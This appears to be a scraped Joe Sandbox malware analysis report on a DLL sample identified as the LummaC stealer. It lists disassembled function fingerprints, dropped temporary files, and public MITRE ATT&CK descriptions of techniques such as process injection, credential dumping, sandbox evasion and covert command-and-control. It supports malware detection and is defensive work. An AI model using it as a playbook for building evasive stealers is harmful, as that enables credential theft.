Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: Variant$ClearInit
String ID: C$C$P$T
API String ID: 2610073882-3051599793
Opcode ID: 70cc15cec2ffaa4e64ca4ef94809e37c86eda4dcb3d81504480f7fa9456d32e2
Instruction ID: 97d45b2a61606388edab5b45fc9f71e82de55712b11621588c9e0c32b5ea6509
Opcode Fuzzy Hash: 70cc15cec2ffaa4e64ca4ef94809e37c86eda4dcb3d81504480f7fa9456d32e2
Instruction Fuzzy Hash: 0141E52000C7C18AD3728B38845979FBFE06B96324F488A9DD4ED8B3D2DB754149DB53

Function 004345DB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 0043460B
GetSystemMetrics.USER32 ref: 0043461A

Strings

, xrefs: 004346C8

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 21c571957f9eedbc13ecd4bfc36bc2f66f2a3654bfb69307476122a183b7950a
Instruction ID: a44d6496935459a921f5505b3ec94aa74778db30aba9446cb93c37adee0bb457
Opcode Fuzzy Hash: 21c571957f9eedbc13ecd4bfc36bc2f66f2a3654bfb69307476122a183b7950a
Instruction Fuzzy Hash: D0317DF49143149FDB00EFA8D98561EBBF4BB89704F11852EE898DB364D374A948CF86

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Module: Module Load, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report iviewers.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.0.cs

C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.cmdline

C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.dll

C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.out

C:\Users\user\AppData\Local\Temp\1yj35v5c\CSC1D664DFBC1CF4D3B97F036955FDEE5EE.TMP

C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.0.cs

C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.cmdline

C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.dll

C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.out

Windows Analysis Report
iviewers.dll

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre